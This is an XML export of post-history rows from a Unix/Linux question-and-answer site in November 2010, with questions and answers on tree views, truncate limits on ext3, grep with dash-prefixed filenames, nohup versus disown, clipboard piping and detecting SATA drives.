  <row Id="8364" PostHistoryTypeId="6" PostId="3864" RevisionGUID="4e5604ea-26f1-47a7-b146-74fc71168669" CreationDate="2010-11-09T11:13:15.327" UserId="2579" Comment="edited tags; edited title; edited title" Text="élinuxàéfhsàéwebosà" />
  <row Id="8365" PostHistoryTypeId="2" PostId="3873" RevisionGUID="f202d8db-17fd-4c21-a99c-452dfae6e961" CreationDate="2010-11-09T11:29:08.603" UserId="1327" Text="I would like to view files exactly like I can view proccess using `pstree`.&#xD;&#xA;&#xD;&#xA;So is there something like:&#xD;&#xA;&#xD;&#xA;    treeview --maxdepth 2 &#xD;&#xA;&#xD;&#xA;that would give me what I need?" />
  <row Id="8366" PostHistoryTypeId="1" PostId="3873" RevisionGUID="f202d8db-17fd-4c21-a99c-452dfae6e961" CreationDate="2010-11-09T11:29:08.603" UserId="1327" Text="How do I view files as a tree structure?" />
  <row Id="8367" PostHistoryTypeId="3" PostId="3873" RevisionGUID="f202d8db-17fd-4c21-a99c-452dfae6e961" CreationDate="2010-11-09T11:29:08.603" UserId="1327" Text="écommandölineà" />
  <row Id="8368" PostHistoryTypeId="2" PostId="3874" RevisionGUID="9be9c8c2-a349-4fc5-9460-d9e421711824" CreationDate="2010-11-09T11:40:55.700" UserId="1002" Text="You can use the tree utility for this:&#xD;&#xA;&#xD;&#xA;    tree -L 2&#xD;&#xA;" />
  <row Id="8369" PostHistoryTypeId="2" PostId="3875" RevisionGUID="898d1a66-829f-4440-8b3a-37a674384f92" CreationDate="2010-11-09T11:48:10.320" UserId="440" Text="I don't really know, why the commands you mentioned would fail, but you could try&#xD;&#xA;&#xD;&#xA;    &gt; wordlist.txt&#xD;&#xA;&#xD;&#xA;This tells the shell to truncate the file to 0 length without spawning another process." />
  <row Id="8370" PostHistoryTypeId="2" PostId="3876" RevisionGUID="c472063b-d1a5-42c6-8048-0869b5db9a88" CreationDate="2010-11-09T11:57:27.380" UserId="440" Text="The two I frequently use are:&#xD;&#xA;&#xD;&#xA;    $ perl -leprint\ scalar\ localtime\ 1234567890&#xD;&#xA;    Sat Feb 14 00:31:30 2009&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    $ tclsh&#xD;&#xA;    % clock format 1234567890&#xD;&#xA;    Sa Feb 14 00:31:30 CET 2009" />
  <row Id="8371" PostHistoryTypeId="2" PostId="3877" RevisionGUID="8a757d4e-a743-4b52-bcab-b8f8d12da5df" CreationDate="2010-11-09T13:58:40.750" UserId="29" Text="I've tried this.&#xD;&#xA;&#xD;&#xA;    grep -r thanks *                                      slave-iv&#xD;&#xA;    grep: invalid option -- '@'&#xD;&#xA;    Usage: grep [OPTION]... PATTERN [FILE]...&#xD;&#xA;    Try `grep --help' for more information.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here's what the directory looks like. They're log files from pidgin.&#xD;&#xA;&#xD;&#xA;    ls -1&#xD;&#xA;    -100000139702926@chat.facebook.com&#xD;&#xA;    -100001138571192@chat.facebook.com&#xD;&#xA;    -1021869012@chat.facebook.com&#xD;&#xA;    -12120618@chat.facebook.com&#xD;&#xA;    -1251570038@chat.facebook.com&#xD;&#xA;    -1269333626@chat.facebook.com&#xD;&#xA;    -1394365872@chat.facebook.com&#xD;&#xA;    -1657581332@chat.facebook.com&#xD;&#xA;    -211203163@chat.facebook.com&#xD;&#xA;    -505152641@chat.facebook.com&#xD;&#xA;    -549333601@chat.facebook.com&#xD;&#xA;    -557177029@chat.facebook.com&#xD;&#xA;    -573222477@chat.facebook.com&#xD;&#xA;    -584051302@chat.facebook.com&#xD;&#xA;    -65000319@chat.facebook.com&#xD;&#xA;    -663869224@chat.facebook.com&#xD;&#xA;    -664953132@chat.facebook.com&#xD;&#xA;    -755682783@chat.facebook.com&#xD;&#xA;" />
  <row Id="8372" PostHistoryTypeId="1" PostId="3877" RevisionGUID="8a757d4e-a743-4b52-bcab-b8f8d12da5df" CreationDate="2010-11-09T13:58:40.750" UserId="29" Text="How can I grep through a bunch of directories with an @ in the name?" />
  <row Id="8373" PostHistoryTypeId="3" PostId="3877" RevisionGUID="8a757d4e-a743-4b52-bcab-b8f8d12da5df" CreationDate="2010-11-09T13:58:40.750" UserId="29" Text="égrepàétextöprocessingàérecursiveàéfilenamesà" />
  <row Id="8374" PostHistoryTypeId="2" PostId="3878" RevisionGUID="c5dc5046-8b83-49f0-9044-322474cfc641" CreationDate="2010-11-09T14:00:13.870" UserId="29" Text="Doh! I just realized after asking my problem is not the `@` it's the `-` this works&#xD;&#xA;&#xD;&#xA;    grep -r thanks -- *   " />
  <row Id="8375" PostHistoryTypeId="2" PostId="3879" RevisionGUID="e67371ac-6d13-46cc-b318-50581cdeb993" CreationDate="2010-11-09T14:19:12.030" UserId="2179" Text="Why does this work:&#xD;&#xA;&#xD;&#xA;    truncate -s 2043G foo&#xD;&#xA;&#xD;&#xA;...while this fails:&#xD;&#xA;&#xD;&#xA;    truncate -s 2044G foo&#xD;&#xA;&#xD;&#xA;Why 2043 gigabytes, of all values?" />
  <row Id="8376" PostHistoryTypeId="1" PostId="3879" RevisionGUID="e67371ac-6d13-46cc-b318-50581cdeb993" CreationDate="2010-11-09T14:19:12.030" UserId="2179" Text="Why does truncate fail for sizes above 2043G?" />
  <row Id="8377" PostHistoryTypeId="3" PostId="3879" RevisionGUID="e67371ac-6d13-46cc-b318-50581cdeb993" CreationDate="2010-11-09T14:19:12.030" UserId="2179" Text="ékernelàéfilesystemsà" />
  <row Id="8378" PostHistoryTypeId="2" PostId="3880" RevisionGUID="2644d7ed-72f1-4486-a624-2338db88a9f0" CreationDate="2010-11-09T14:36:16.017" UserId="2504" Text="How can I move to the bottom of a document using pico editor ?&#xD;&#xA;&#xD;&#xA;CTRL+V is next page.&#xD;&#xA;&#xD;&#xA;To move to last page ?&#xD;&#xA;&#xD;&#xA;thanks" />
  <row Id="8379" PostHistoryTypeId="1" PostId="3880" RevisionGUID="2644d7ed-72f1-4486-a624-2338db88a9f0" CreationDate="2010-11-09T14:36:16.017" UserId="2504" Text="How can I move to the bottom of a document using pico editor ? " />
  <row Id="8380" PostHistoryTypeId="3" PostId="3880" RevisionGUID="2644d7ed-72f1-4486-a624-2338db88a9f0" CreationDate="2010-11-09T14:36:16.017" UserId="2504" Text="éeditorsà" />
  <row Id="8381" PostHistoryTypeId="2" PostId="3881" RevisionGUID="0b97c09a-0dca-4771-9b82-ed5ea84565bb" CreationDate="2010-11-09T14:43:30.107" UserId="33" Text="Press &quot;CTRL+_&quot; and instead of entering a line number hit &quot;CTRL+V&quot;.&#xD;&#xA;" />
  <row Id="8385" PostHistoryTypeId="5" PostId="3880" RevisionGUID="7ea6589a-e0da-4c7d-aa69-fabf6d5fb9fc" CreationDate="2010-11-09T15:17:25.263" UserId="73" Comment="added 15 characters in body; edited tags; edited title" Text="How can I move to the bottom of a document using the pico editor? &lt;kbd&gt;CTRL+V&lt;/kbd&gt; is next page; is there a similar key for last page?&#xD;&#xA;" />
  <row Id="8386" PostHistoryTypeId="4" PostId="3880" RevisionGUID="7ea6589a-e0da-4c7d-aa69-fabf6d5fb9fc" CreationDate="2010-11-09T15:17:25.263" UserId="73" Comment="added 15 characters in body; edited tags; edited title" Text="How can I move to the bottom of a document using the pico editor?" />
  <row Id="8387" PostHistoryTypeId="6" PostId="3880" RevisionGUID="7ea6589a-e0da-4c7d-aa69-fabf6d5fb9fc" CreationDate="2010-11-09T15:17:25.263" UserId="73" Comment="added 15 characters in body; edited tags; edited title" Text="éeditorsà" />
  <row Id="8388" PostHistoryTypeId="5" PostId="3881" RevisionGUID="656069b1-8efd-4378-8520-7af9c1330639" CreationDate="2010-11-09T15:17:33.673" UserId="73" Comment="added 18 characters in body" Text="Press &lt;kbd&gt;CTRL+_&lt;/kbd&gt; and instead of entering a line number hit &lt;kbd&gt;CTRL+V&lt;/kbd&gt;.&#xD;&#xA;" />
  <row Id="8389" PostHistoryTypeId="2" PostId="3883" RevisionGUID="9f8cba53-340d-4707-9c3e-97f6a6359583" CreationDate="2010-11-09T15:26:45.983" UserId="1253" Text="I was reading on [MySQLdb Python page][1] and cannot seem to find any version information.  &#xD;&#xA;&#xD;&#xA;Currently I am developing with this MySQLdb module using python 2.5, 2.6 but was wondering if it is compatible with versions such as Python 2.3.4.  &#xD;&#xA;&#xD;&#xA;In the readme accompanying the download from sourceforge it says: &quot;Versions lower than 2.3 WONT WORK&quot; and this language always worries me.  &#xD;&#xA;&#xD;&#xA;Did they mean lower than 2.3 or lower than or equal to 2.3?  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Any ideas where I can determine this information? Perhaps this question is better asked on superuser? &#xD;&#xA;&#xD;&#xA;  [1]: http://mysql-python.sourceforge.net/MySQLdb.html#mysqldb" />
  <row Id="8390" PostHistoryTypeId="1" PostId="3883" RevisionGUID="9f8cba53-340d-4707-9c3e-97f6a6359583" CreationDate="2010-11-09T15:26:45.983" UserId="1253" Text="Python MySQLdb compatible with which versions of Python?" />
  <row Id="8391" PostHistoryTypeId="3" PostId="3883" RevisionGUID="9f8cba53-340d-4707-9c3e-97f6a6359583" CreationDate="2010-11-09T15:26:45.983" UserId="1253" Text="épythonà" />
  <row Id="8392" PostHistoryTypeId="10" PostId="3883" RevisionGUID="ce4b9719-b91f-4c47-a5be-8964dae5aa73" CreationDate="2010-11-09T15:40:25.300" UserId="73" CloseReasonId="2" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="8394" PostHistoryTypeId="2" PostId="3884" RevisionGUID="4de4a88e-bd63-433f-b25a-6def730ea8cd" CreationDate="2010-11-09T15:49:25.973" UserId="73" Text="You're probably using a filesystem that has a 2TB maximum file size (for example, ext3 with a 4KB or 8KB block size). `truncate` won't let you specify a target file size greater than the maximum your file system supports; 2044GB is very close to 2TB. I'm not sure why it's not exactly 2048GB that causes the problem; it's probably something internal to ext3's method of storing files" />
  <row Id="8395" PostHistoryTypeId="2" PostId="3885" RevisionGUID="26b781d9-663e-44a3-a371-fddd26045fc2" CreationDate="2010-11-09T15:52:46.177" UserId="2594" Text="That's a limitation of the file system you use. Here ZFS creates a whopping 7 Exabyte sparse file:&#xD;&#xA;&#xD;&#xA;    $ truncate -s 7E foo&#xD;&#xA;    $ ls -l foo&#xD;&#xA;    -rw-r--r--   1 jlliagre 8070450532247928832 Nov  9 16:49 foo&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8396" PostHistoryTypeId="2" PostId="3886" RevisionGUID="c9fc8c81-6fef-4509-ac72-ddb7a232559d" CreationDate="2010-11-09T16:16:04.690" UserId="1170" Text="What is the difference between&#xD;&#xA;&#xD;&#xA;    $ nohup foo&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    $ foo &amp;&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    $ foo &amp;&#xD;&#xA;    $ disown&#xD;&#xA;" />
  <row Id="8397" PostHistoryTypeId="1" PostId="3886" RevisionGUID="c9fc8c81-6fef-4509-ac72-ddb7a232559d" CreationDate="2010-11-09T16:16:04.690" UserId="1170" Text="Difference between nohup, disown and &amp;" />
  <row Id="8398" PostHistoryTypeId="3" PostId="3886" RevisionGUID="c9fc8c81-6fef-4509-ac72-ddb7a232559d" CreationDate="2010-11-09T16:16:04.690" UserId="1170" Text="ébashàénohupàédisownà" />
  <row Id="8399" PostHistoryTypeId="2" PostId="3887" RevisionGUID="f7adaa9e-a715-4fc7-8450-3c41f99aab19" CreationDate="2010-11-09T16:26:27.437" UserId="73" Text="Using `&amp;` causes the program to run in the background, so you'll get a new shell prompt instead of blocking until the program ends. `nohup` and `disown` are largely unrelated; they suppress SIGHUP (hangup) signals so the program isn't automatically killed when the controlling terminal is closed. `nohup` does this when the job first begins. If you don't `nohup` a job when it begins, you can use `disown` to modify a running job; with no arguments it modifies the current job, which is the one that was just backgrounded" />
  <row Id="8400" PostHistoryTypeId="4" PostId="3879" RevisionGUID="f2000182-103c-4531-8436-cfbe2bd4325f" CreationDate="2010-11-09T16:29:45.040" UserId="2179" Comment="edited title" Text="Why does truncate fail for sizes above 2043G in ext3?" />
  <row Id="8401" PostHistoryTypeId="2" PostId="3888" RevisionGUID="e9d4f379-9a10-453c-93f1-40ab6c7ec2d6" CreationDate="2010-11-09T18:07:25.270" UserId="2150" Text="/var might be on a different partition or disk." />
  <row Id="8402" PostHistoryTypeId="2" PostId="3889" RevisionGUID="e95ccb30-dc32-4d26-b40c-b0089276289d" CreationDate="2010-11-09T18:12:19.547" UserId="688" Text="I'm running Debian on the metal and I fail to get VM's of Debian and Ubuntu to be fullscreen. Changing video memory didn't help. Windows XP VM succeeds however. So, where is the magic button?" />
  <row Id="8403" PostHistoryTypeId="1" PostId="3889" RevisionGUID="e95ccb30-dc32-4d26-b40c-b0089276289d" CreationDate="2010-11-09T18:12:19.547" UserId="688" Text="How to make Debian/Ubuntu be fullscreen on VirtualBox?" />
  <row Id="8404" PostHistoryTypeId="3" PostId="3889" RevisionGUID="e95ccb30-dc32-4d26-b40c-b0089276289d" CreationDate="2010-11-09T18:12:19.547" UserId="688" Text="édebianàévirtualömachineà" />
  <row Id="8405" PostHistoryTypeId="2" PostId="3890" RevisionGUID="3b90a90b-31eb-468d-b348-17e614fba244" CreationDate="2010-11-09T18:24:31.790" UserId="2180" Text="There are a few things that need to be in place. You need to have guest additions installed on the guest OS. You have to have &quot;guest display auto-resize&quot; feature enabled (Host+g toggles this), and then you have to actually activate full-screen mode (Host+f toggles this)." />
  <row Id="8406" PostHistoryTypeId="2" PostId="3891" RevisionGUID="f66941a0-514a-4dc8-813d-cc82b767ba8a" CreationDate="2010-11-09T18:36:22.153" UserId="885" Text="My guess is that WebOS is designed to be installed on two different filesystems, a root filesystem that is read-only in normal operation and a filesystem mounted on `/var` that is read-write in normal operation. Since home directories need to be writable, they are placed somewhere under `/var`. This kind of setup is fairly common on embedded unix systems.&#xD;&#xA;&#xD;&#xA;While `/home` is mentioned by the [Filesystem Hierarchy Standard](http://www.pathname.com/fhs/) on Linux and is generally common amongst unices, it is not universal (the FHS lists it as “optional” and specifies that “no program should rely on this location”). Sites with a large number of users sometimes use `/home/GROUP/USER` or `/home/SERVER/USER` or `/home/SERVER/GROUP/USER`. And I've seen directories rooted in other places: `/homes`, `/export/home`, `/users`, `/net`, ...&#xD;&#xA;" />
  <row Id="8407" PostHistoryTypeId="2" PostId="3892" RevisionGUID="8f25480e-b004-4c57-a4e0-b415623b0946" CreationDate="2010-11-09T18:40:51.820" UserId="1327" Text="Is there functionality in unix that allows for the following:&#xD;&#xA;&#xD;&#xA;    echo &quot;Some Text&quot; | copy-to-clipboard&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8408" PostHistoryTypeId="1" PostId="3892" RevisionGUID="8f25480e-b004-4c57-a4e0-b415623b0946" CreationDate="2010-11-09T18:40:51.820" UserId="1327" Text="How do I send stdin to the clipboard?" />
  <row Id="8409" PostHistoryTypeId="3" PostId="3892" RevisionGUID="8f25480e-b004-4c57-a4e0-b415623b0946" CreationDate="2010-11-09T18:40:51.820" UserId="1327" Text="écommandölineàéclipboardà" />
  <row Id="8410" PostHistoryTypeId="2" PostId="3893" RevisionGUID="48538432-c495-47a0-87f4-b72ebd4e8179" CreationDate="2010-11-09T18:47:53.653" UserId="73" Text="There are a couple tools capable of writing to the clipboard; I use [`xsel`](http://www.vergenet.net/~conrad/software/xsel/). It takes flags to write to the primary X selection (`-p`), secondary selection (`-s`), or clipboard (`-b`). Passing it `-i` will tell it to read from stdin, so you want:&#xD;&#xA;&#xD;&#xA;    $ echo &quot;Some Text&quot; | xsel -i -b&#xD;&#xA;" />
  <row Id="8411" PostHistoryTypeId="2" PostId="3894" RevisionGUID="c7323b40-2857-47ed-9e88-e8b4f59e69ad" CreationDate="2010-11-09T21:03:32.197" UserId="2600" Text="I recently installed ubuntu 10.10. Graphics were actually fine, by just using the default drivers, and I could drag windows fast and smoothly.&#xD;&#xA;&#xD;&#xA;However, since I have an ATI Radeon HD4870 card I should be able to get more out of it by installing the ATI driver for linux. So, I decided to install the ATI drivers for my radeon 4870.&#xD;&#xA;&#xD;&#xA;Now my resolution is fine and everything looks alright, but when I drag windows its not smooth at all and very laggy.&#xD;&#xA;&#xD;&#xA;I haven't seen any other implications, although I didn't test any graphic heavy applications. The window dragging is very laggy though and thus a problem.&#xD;&#xA;&#xD;&#xA;Any idea what could cause this?" />
  <row Id="8412" PostHistoryTypeId="1" PostId="3894" RevisionGUID="c7323b40-2857-47ed-9e88-e8b4f59e69ad" CreationDate="2010-11-09T21:03:32.197" UserId="2600" Text="Dragging of windows slow/laggy after installing ATI Radeon HF 4870 graphic drivers in Ubuntu 10.10 Gnome?" />
  <row Id="8413" PostHistoryTypeId="3" PostId="3894" RevisionGUID="c7323b40-2857-47ed-9e88-e8b4f59e69ad" CreationDate="2010-11-09T21:03:32.197" UserId="2600" Text="éubuntuàégnomeàédriversàégraphicsà" />
  <row Id="8414" PostHistoryTypeId="2" PostId="3895" RevisionGUID="94b4fd33-afbb-44ca-9028-03839a7aae4a" CreationDate="2010-11-09T22:27:15.473" UserId="688" Text="[Debian GNU/Linux device driver check page][1] tells you what hardware on your system is supported, and on which Linux versions.&#xD;&#xA;&#xD;&#xA;  [1]: http://kmuto.jp/debian/hcl/" />
  <row Id="8415" PostHistoryTypeId="5" PostId="3891" RevisionGUID="8824ce38-555c-4535-b967-69c30e4fa0ba" CreationDate="2010-11-09T23:06:30.500" UserId="885" Comment="added 282 characters in body" Text="My guess is that WebOS is designed to be installed on two different filesystems, a root filesystem that is read-only in normal operation and a filesystem mounted on `/var` that is read-write in normal operation. Since home directories need to be writable, they are placed somewhere under `/var`. This kind of setup is fairly common on unix systems that run off flash (such as PDAs¹ and embedded unices).&#xD;&#xA;&#xD;&#xA;While `/home` is mentioned by the [Filesystem Hierarchy Standard](http://www.pathname.com/fhs/) on Linux and is generally common amongst unices, it is not universal (the FHS lists it as “optional” and specifies that “no program should rely on this location”). Sites with a large number of users sometimes use `/home/GROUP/USER` or `/home/SERVER/USER` or `/home/SERVER/GROUP/USER`. And I've seen directories rooted in other places: `/homes`, `/export/home`, `/users`, `/net`, ... In fact, a long long time ago, the standard location for home directories was `/usr`.&#xD;&#xA;&#xD;&#xA;¹ &lt;sub&gt;For example Android (not a unix, but running on a Linux kernel) has a read-only root filesystem and a writable filesystem on `/data`.&lt;/sub&gt;&#xD;&#xA;" />
  <row Id="8419" PostHistoryTypeId="2" PostId="3897" RevisionGUID="a908d9b4-964e-438b-ab77-1fc47d96f897" CreationDate="2010-11-10T00:30:59.837" UserDisplayName="Rafael" Text="You do not have to disable Compiz completely. I had the same issue, but it affected specifically the &quot;Run Application Dialog&quot; and &quot;Open Main Menu&quot;. The problem is that Compiz Fusion takes control over some keyboard shotcuts to keep compatibility. This can be configured through the Compiz plugin &quot;Gnome Compatibility&quot; and other areas of the Compiz Panel." />
  <row Id="8420" PostHistoryTypeId="2" PostId="3898" RevisionGUID="bb8794ef-1a13-400b-b693-e387336f1e69" CreationDate="2010-11-10T00:39:22.660" UserId="1974" Text="I have an ATA hard disk in my laptop, running Fedora 11, kernel 2.6.30.10-105.2.23.fc11.i586. I am looking to upgrade the disk in here (would love to get an SSD) but I forgot if it's a serial ATA or an old parallel ATA interface. There's not much use upgrading to an SSD if it's PATA...&#xD;&#xA;&#xD;&#xA;How can I tell if the disk is connected via a PATA or an SATA interface?" />
  <row Id="8421" PostHistoryTypeId="1" PostId="3898" RevisionGUID="bb8794ef-1a13-400b-b693-e387336f1e69" CreationDate="2010-11-10T00:39:22.660" UserId="1974" Text="How can I tell if my hard drive is PATA or SATA?" />
  <row Id="8422" PostHistoryTypeId="3" PostId="3898" RevisionGUID="bb8794ef-1a13-400b-b693-e387336f1e69" CreationDate="2010-11-10T00:39:22.660" UserId="1974" Text="éhardwareàésataàépataà" />
  <row Id="8424" PostHistoryTypeId="2" PostId="3899" RevisionGUID="2c8d372e-bb9c-4c1d-834b-3b5a32a1cab8" CreationDate="2010-11-10T01:06:48.173" UserId="4" Text="If it's a PATA (ide) drive, then you will see it under `/proc/ide`. Here is my IDE DVD-Drive, for example.&#xD;&#xA;&#xD;&#xA;    $ cat /proc/ide/hdb/model &#xD;&#xA;    Optiarc CDRWDVD CRX890A&#xD;&#xA;&#xD;&#xA;If it is a SATA drive, it will show up under `/proc/scsi`. You might be surprised to find it under 'scsi'. I forget the exact reason (I'm going to ask that in another question), but I think that is because SATA uses the SCSI drivers.&#xD;&#xA;&#xD;&#xA;Here's a list showing a SATA drive on my system:&#xD;&#xA;&#xD;&#xA;    $ cat /proc/scsi/scsi &#xD;&#xA;    Attached devices:&#xD;&#xA;    Host: scsi0 Channel: 00 Id: 00 Lun: 00&#xD;&#xA;      Vendor: ATA      Model: WDC WD2500AAJS-6 Rev: 01.0&#xD;&#xA;      Type:   Direct-Access                    ANSI  SCSI revision: 05&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8425" PostHistoryTypeId="2" PostId="3900" RevisionGUID="04f77bd8-3ba7-40ef-9411-f46be019d0f0" CreationDate="2010-11-10T01:09:53.157" UserId="885" Text="To see the device description for the controller (assuming an internal (PCI) controller), which usually contains SATA for SATA controllers:&#xD;&#xA;&#xD;&#xA;    lspci -d $(cat /sys/block/sda/device/../../../vendor):$(cat /sys/block/sda/device/../../../device)&#xD;&#xA;&#xD;&#xA;If you want to type less, just browsing the output of `lspci` is likely to give you the answer in a laptop (many desktop have both kinds of interfaces so you'd have to look up the drive you're interested in).&#xD;&#xA;&#xD;&#xA;If that doesn't give you the answer, to see what driver is providing `sda` (you can then look up whether that driver is for a PATA or SATA controller):&#xD;&#xA;&#xD;&#xA;    readlink -f /sys/block/sda/device/../../../driver&#xD;&#xA;" />
  <row Id="8426" PostHistoryTypeId="2" PostId="3901" RevisionGUID="dc211ebf-0a51-496c-8e12-a8e071b2048f" CreationDate="2010-11-10T01:11:46.810" UserId="4" Text="I have 3 SATA devices on my system. They show up under `/proc/scsi/scsi`, although these are not SCSI devices. Why do my SATA devices show up under the SCSI directory?&#xD;&#xA;&#xD;&#xA;    $ cat /proc/scsi/scsi &#xD;&#xA;    Attached devices:&#xD;&#xA;    Host: scsi0 Channel: 00 Id: 00 Lun: 00&#xD;&#xA;      Vendor: ATA      Model: WDC WD2500AAJS-6 Rev: 01.0&#xD;&#xA;      Type:   Direct-Access                    ANSI  SCSI revision: 05&#xD;&#xA;    Host: scsi1 Channel: 00 Id: 00 Lun: 00&#xD;&#xA;      Vendor: TSSTcorp Model: CDDVDW TS-H653Z  Rev: 4303&#xD;&#xA;      Type:   CD-ROM                           ANSI  SCSI revision: 05&#xD;&#xA;    Host: scsi4 Channel: 00 Id: 00 Lun: 00&#xD;&#xA;      Vendor: ATA      Model: ST3320620AS      Rev: 3.AA&#xD;&#xA;      Type:   Direct-Access                    ANSI  SCSI revision: 05&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8427" PostHistoryTypeId="1" PostId="3901" RevisionGUID="dc211ebf-0a51-496c-8e12-a8e071b2048f" CreationDate="2010-11-10T01:11:46.810" UserId="4" Text="Why do my SATA devices show up under /proc/scsi/scsi ?" />
  <row Id="8428" PostHistoryTypeId="3" PostId="3901" RevisionGUID="dc211ebf-0a51-496c-8e12-a8e071b2048f" CreationDate="2010-11-10T01:11:46.810" UserId="4" Text="élinuxàésataàéscsiàédevicesà" />
  <row Id="8429" PostHistoryTypeId="2" PostId="3902" RevisionGUID="9e716508-701c-458f-8dfe-8a51ba0758b5" CreationDate="2010-11-10T01:32:41.493" UserId="885" Text="They're SCSI devices because they speak [SCSI](http://en.wikipedia.org/wiki/SCSI) to the next kernel layer (the generic disk driver). This isn't actually true of all [SATA](http://en.wikipedia.org/wiki/Serial_ATA) drivers on all kernel versions with all kernel configurations, but it's common. Even [PATA](http://en.wikipedia.org/wiki/Parallel_ATA) devices can appear as SCSI at that level.&#xD;&#xA;&#xD;&#xA;It doesn't really matter whether the driver speaks SCSI to the device, though it in fact does: [ATAPI](http://en.wikipedia.org/wiki/Parallel_ATA#ATAPI) (the current version of ATA, protocol-wise) reuses the SCSI protcol anyway, so even IDE devices (since 15–20 years) are speaking SCSI to the controller. The separate ide interface inside the kernel is more of a historical survivance.&#xD;&#xA;&#xD;&#xA;You'll notice that [USB disks](http://en.wikipedia.org/wiki/USB_mass-storage_device_class) also appear as scsi, for the same reason (and they speak SCSI too on the USB bus). The same goes for [Firewire](http://en.wikipedia.org/wiki/IEEE_1394_interface).&#xD;&#xA;" />
  <row Id="8430" PostHistoryTypeId="5" PostId="3902" RevisionGUID="6c32b63c-fd40-4abb-81cb-134bc5891e37" CreationDate="2010-11-10T01:43:01.670" UserId="885" Comment="better distinguish between hardware device and kernel device" Text="They show up as SCSI devices because the drivers speak [SCSI](http://en.wikipedia.org/wiki/SCSI) to the next kernel layer (the generic disk driver). This isn't actually true of all [SATA](http://en.wikipedia.org/wiki/Serial_ATA) drivers on all kernel versions with all kernel compile-time configurations, but it's common. Even [PATA](http://en.wikipedia.org/wiki/Parallel_ATA) devices can appear as SCSI at that level (again, that depends on the kernel version and kernel compile-time configuration, as well as whether the `ide-scsi` module is used).&#xD;&#xA;&#xD;&#xA;It doesn't really matter whether the driver speaks SCSI to the physical device, though it in fact does: [ATAPI](http://en.wikipedia.org/wiki/Parallel_ATA#ATAPI) (the current version of ATA, protocol-wise) reuses the SCSI protcol anyway, so even IDE devices (since 15–20 years) are speaking SCSI to the controller. The separate ide interface inside the kernel is more of a historical survivance.&#xD;&#xA;&#xD;&#xA;You'll notice that [USB disks](http://en.wikipedia.org/wiki/USB_mass-storage_device_class) also appear as scsi, for the same reason (and they speak SCSI too on the USB bus). The same goes for [Firewire](http://en.wikipedia.org/wiki/IEEE_1394_interface).&#xD;&#xA;" />
  <row Id="8431" PostHistoryTypeId="2" PostId="3903" RevisionGUID="c70a4201-fd5e-4b2c-a3ad-30120add3c16" CreationDate="2010-11-10T03:34:21.230" UserId="2180" Text="If possibly your window manager (Compiz, possibly?) or window decorator (possibly Emerald) is using a fancy effect like alpha blur, that might cause this problem." />
  <row Id="8432" PostHistoryTypeId="2" PostId="3904" RevisionGUID="98effe7a-8c26-419a-b2f1-0c1cf842230e" CreationDate="2010-11-10T05:03:41.603" UserId="1267" Text="&#xD;&#xA;I have been using Fedora 13 for around 6 months and its really working well. I have an internet connection in my room (wired connection) and i have been using it for quite sometime. I have not used **WiFi** connection at all and in order to check whether WiFI is working properly or not, i took my laptop to my college library which is Wifi enabled. Unfortunately, when i turn on my system its not detecting any wireless network at all. &#xD;&#xA;&#xD;&#xA;What is the problem and how should i rectify this?" />
  <row Id="8433" PostHistoryTypeId="1" PostId="3904" RevisionGUID="98effe7a-8c26-419a-b2f1-0c1cf842230e" CreationDate="2010-11-10T05:03:41.603" UserId="1267" Text="Enabling Wireless in Fedora" />
  <row Id="8434" PostHistoryTypeId="3" PostId="3904" RevisionGUID="98effe7a-8c26-419a-b2f1-0c1cf842230e" CreationDate="2010-11-10T05:03:41.603" UserId="1267" Text="éfedoraàéwirelessà" />
  <row Id="8435" PostHistoryTypeId="10" PostId="3838" RevisionGUID="2d3e33b5-0de2-4091-adeb-59d12b749980" CreationDate="2010-11-10T06:10:26.963" UserId="-1" CloseReasonId="1" Text="[{&quot;Id&quot;:250,&quot;DisplayName&quot;:&quot;phunehehe&quot;},{&quot;Id&quot;:1339,&quot;DisplayName&quot;:&quot;echox&quot;},{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="8436" PostHistoryTypeId="5" PostId="3838" RevisionGUID="9d3443b9-1c63-4078-8d41-b91281dff80b" CreationDate="2010-11-10T06:10:27.103" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [rebuild auto-complete index (or whatever it&amp;#39;s called)](http://unix.stackexchange.com/questions/2179/rebuild-auto-complete-index-or-whatever-its-called)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;&gt; **Possible Duplicate:**  &#xA;&gt; [rebuild auto-complete index (or whatever it&amp;#39;s called)](http://unix.stackexchange.com/questions/2179/rebuild-auto-complete-index-or-whatever-its-called)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;After I install something via aptitude, zsh won't be able to find it until I search for it with `which`. For example&#xD;&#xA;&#xD;&#xA;    ~ sudo apt-get install xsane&#xD;&#xA;    ~ xsa&lt;Tab&gt;&#xD;&#xA;    ~ saned&#xD;&#xA;    ~ which xsane&#xD;&#xA;    /usr/bin/xsane&#xD;&#xA;    ~xsa&lt;Tab&gt;&#xD;&#xA;    ~xsane&#xD;&#xA;&#xD;&#xA;This naturally is pretty annoying. Is there a zsh setting for this? Or is it a bug? Or what?" />
